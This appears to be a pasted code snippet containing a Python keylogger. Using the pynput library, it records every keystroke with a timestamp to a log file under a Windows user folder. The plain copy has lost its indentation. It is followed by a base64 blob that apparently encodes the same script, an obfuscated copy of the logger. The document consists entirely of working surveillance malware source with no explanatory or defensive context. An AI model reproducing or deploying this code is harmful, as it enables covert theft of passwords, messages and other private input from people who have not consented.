from pynput.keyboard import Key, Listener
import logging
log_dir = "C:/Users/AgentSmith/log/"
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG,format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(key)
with Listener(on_press=on_press) as listener:
listener.join()
# your code goes here
ZnJvbSBweW5wdXQua2V5Ym9hcmQgaW1wb3J0IEtleSwgTGlzdGVuZXIKaW1wb3J0IGxvZ2dpbmcKCmxvZ19kaXIgPSAiQzovVXNlcnMvQWdlbnRTbWl0aC9sb2cvIgoKbG9nZ2luZy5iYXNpY0NvbmZpZyhmaWxlbmFtZT0obG9nX2RpciArICJrZXlfbG9nLnR4dCIpLCBsZXZlbD1sb2dnaW5nLkRFQlVHLGZvcm1hdD0nJShhc2N0aW1lKXM6ICUobWVzc2FnZSlzJykKCmRlZiBvbl9wcmVzcyhrZXkpOgogICAgbG9nZ2luZy5pbmZvKGtleSkKCndpdGggTGlzdGVuZXIob25fcHJlc3M9b25fcHJlc3MpIGFzIGxpc3RlbmVyOgogICAgbGlzdGVuZXIuam9pbigpCiMgeW91ciBjb2RlIGdvZXMgaGVyZQ==